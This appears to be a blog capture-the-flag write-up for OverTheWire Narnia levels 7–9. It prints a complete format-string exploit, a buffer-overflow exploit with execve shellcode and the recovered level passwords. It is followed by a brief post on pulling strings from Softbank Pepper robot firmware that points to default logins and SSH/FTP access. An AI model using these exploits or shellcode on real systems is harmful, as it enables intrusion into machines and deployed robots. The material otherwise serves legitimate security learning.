The goal is to overwrite goodfunction() with hackedfunction().
We will attempt to do a format string attack.

Running the program in GDB:
gdb -q ./narnia7
r a

screenshot 4

ptrf()             = 0x80486e0 (0xffffd62c)
goodfunction()     = 0x80486e0
hackedfunction()     = 0x8048706

Determining our offset:
disas vuln
br *vuln+190
r bbbb

screenshot 5screenshot 6screenshot 7

Offset: 6

Running a test with %x also confirms that the program possesses format string vulnerabilities.

We will use the “Magic Formula” to calculate our format string exploit.

screenshot 8

As seen above, the formula works by splitting the target four bytes into two chunks (two high-order bytes and two low-order bytes), and using the #$ and %hn tokens to place the values in the right place.

By leveraging this formula, we can pick specific memory locations within the application and overwrite values.

I learned about this formula thanks to Daniel Regalado and his book: Gray Hat Hacking (Fourth Edition).

Using the formula:
Addresses:
ptrf()             = 0x80486e0 (0xffffd62c)
goodfunction()     = 0x80486e0
hackedfunction()     = 0x8048706

Calculations:
[addr + 2][addr]     = 0xffffd62c + 2                 = \x2e\xd6\xff\xff\x1c\xd6\xff\xff
%.[HOB – 8]x         = 0x0804 – 8 = 7FC(2044)         = %.2044x
%[offset]$hn                                     = %6\$hn
%.[LOB – HOB]x       = 0x8706 – 0804 = 7F02(32514)     = %.32514x
%[offset + 1]$hn                                 = %7\$hn

Running the exploit:
./narnia7 $(python -c’print(“\x2e\xd6\xff\xff\x1c\xd6\xff\xff”)’)%.2044x%6\$hn%.32514x%7\$hn

screenshot 9

Grabbing the flag:
cat /etc/narnia_pass/narnia8

screenshot 10

Flag: mohthuphog

Techniques used: Format String Attack Magic Formula

 

Level 8

Solution:

Check out the source code:
cd /narnia/
ls -la
cat narnia8.c

screenshotscreenshot 2

The key to this challenge is a buffer overflow.
Notice that the program takes our argument as blah (without any size limitations), and sets bok (with a size of 20 bytes) to the contents of blah. This clearly shows the possibility of a buffer overflow.

Disassembling the program:
gdb -q ./narnia8
disas func

screenshot 3

Understanding the program:
br *func+122
r $(python -c ‘print “a” * 20’)
x/50x $esp

screenshot 4

Notice the address 0xffffd8a5 appears twice. This is potentially blah’s address. Remember that bok equals to blah.
The return address (which we want to overwrite) must then be 0x080484cd
Let us repeat the process and confirm.

Confirming the theory:
r $(python -c ‘print (“a” * 20) + (“b” * 4) + (“c” * 4)’)
x/50x $esp

screenshot 5

Notice that the theory appears to be right. Performing an overflow actually overwrote the first instance of the blah address.

Also notice that the address of blah changed, now to: 0xffffd89d

In order to be able to overwrite the return address (0x080484cd), we are going to have to overwrite blah with itself.

Testing the blah overwrite theory:
r $(python -c ‘print (“A” * 20) + (“\x9d\xd8\xff\xff”)’)
x/50x $esp

screenshot 6

The address changed, so let’s try again with the new address.

r $(python -c ‘print (“A” * 20) + (“\xa1\xd8\xff\xff”)’)
x/50x $esp

screenshot 7

Success. Notice that our offset is then 12 words in.

Confirming the overwrite method:
r $(python -c ‘print (“a” * 20) + “\xa1\xd8\xff\xff” + (“a” * 12) + (“b” * 4)’)
x/50x $esp

screenshot 8

We have to try again with the new address.

r $(python -c ‘print (“a” * 20) + “\x91\xd8\xff\xff” + (“a” * 12) + (“b” * 4)’)
x/50x $esp

screenshot 9

Success! We have overwritten the return address with our b’s.

To make life easier for ourselves, we will use shellcode injection via environment variables to store our shellcode.
We will also use a C program to determine the location of our shellcode (SC).

Before we do that, however, we will first simulate this technique within GDB.
We will go through the process again in order to determine the new addresses.
Since our SC is 25 bytes long, our fake SC will be 25 bytes long as well.

Simulating our environment variable technique within GDB:
set env EGG=AAAAAAAAAAAAAAAAAAAAAAAAA
r $(python -c ‘print “A” * 20’)
x/50x $esp

screenshot 10

Notice the address of blah: 0xffffd887

r $(python -c ‘print (“A” * 20) + “\x95\xdf\xff\xff” + (“A” * 12) + “\xfe\xca\xbe\xba”‘)
x/50x $esp

screenshot 11

We have to try again with the new address.

r $(python -c ‘print (“A” * 20) + “\x81\xdf\xff\xff” + (“A” * 12) + “\xfe\xca\xbe\xba”‘)
x/50x $esp

screenshot 12

Success.

Now, we’ll run the program outside of GDB to note the size of the difference inside and outside of GDB.
This is important in order to choose the proper address to deliver the final working exploit.

Determining the blah address outside of GDB:
env -i PWD=”/games/narnia” SHLVL=0 EGG=$(python -c ‘print(“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”)’) /narnia/narnia8 $(python -c ‘print “A” * 20’) | xxd

screenshot 13

Inside GDB    –    Outside GDB    =
————————————————–
ffffdf9b        –    ffffdf95        = 6

New blah address
—————————————
ffffdf81     +    6    = ffffdf87

Creating a program to determine the address of our shellcode inside the environment variable:
cd tmp
vi gev.c
gcc gev.c -o getenvaddr

screenshot 16

Running the program:
cd /narnia
env -i PWD=”/games/narnia” SHLVL=0 EGG=$(python -c ‘print(“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”)’) /tmp/getenvaddr EGG /narnia/narnia8

screenshot 14

The SC address is: ffffdfce

Running the exploit:
env -i PWD=”/games/narnia” SHLVL=0 EGG=$(python -c ‘print(“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”)’) /narnia/narnia8 $(python -c ‘print (“a” * 20) + “\x87\xdf\xff\xff” + (“b” * 12) + “\xce\xdf\xff\xff”‘)

screenshot 15

Grabbing the flag:
cat /etc/narnia_pass/narnia9

screenshot 17

Flag: eiL5fealae

Techniques used: Local buffer overflow; shellcode injection via environment variables

 

Level 9

Solution:

Receiving congratulations:

screenshot
Note: The above doesn’t comment doesn’t apply anymore, as write-ups are spread out all over the web!
Note to creators: Let me know if otherwise, and I will take the write-up down. Thanks for the fun!

Softbank Pepper: A short robot overview

Device: Softbank Pepper
Device Type: Humanoid Robot
Firmware: NAOqi System 2.5.5

screenshot

From the website’s product description:
Pepper is an autonomous talking humanoid robot who perceives emotions, and adapts his behavior to the mood of the humans around him. Pepper can identify joy, sadness, anger or surprise and respond appropriately, making his interactions with humans incredibly natural and intuitive.

Purpose:
Analyze firmware image and extract data in order to search for bugs and vulnerabilities.

Link to download firmware: https://developer.softbankrobotics.com/us-en/downloads/pepper

Download the firmware from the Universal Robots website:
https://developer.softbankrobotics.com/us-en/downloads/pepper

screenshot 2

Running the commands “strings” and “hexdump” to extract data:
strings -n 10 pepper-x86-2.5.5.5_2016-11-28.opn > strings.out
hexdump -C pepper-x86-2.5.5.5_2016-11-28.opn > hex.out

Analyzing the strings.out file:

screenshot 3

Note we are dealing with a Linux Gentoo-based OS.
Screenshot taken for the lulz, “chest-harakiri”.

About NAOqi OS:
The NAOqi OS documentation can be found here: http://doc.aldebaran.com/2-1/dev/tools/opennao.html

Note that the default passwords are:

screenshot 4

This is important because, unfortunately, as with other IoT devices, most users don’t change the default password.

NAOqi OS is currently used for both the Pepper and NAO robots.

The robot can be connected to via a web browser, SSH, and FTP. Gotta pwn them all!

screenshot 5

screenshot 6

In the wild:
Softbank sells Pepper for personal use and for business. In fact, some airports, banks, and stores are already using Pepper and report increases in sales.

screenshot 8

Source: JapanTimes

Running “binwalk” to further analyze the image:

screenshot 7

We get information about the bootloader, and the use of other services such as MySQL and Lancom WWAN.

Have fun. 🙂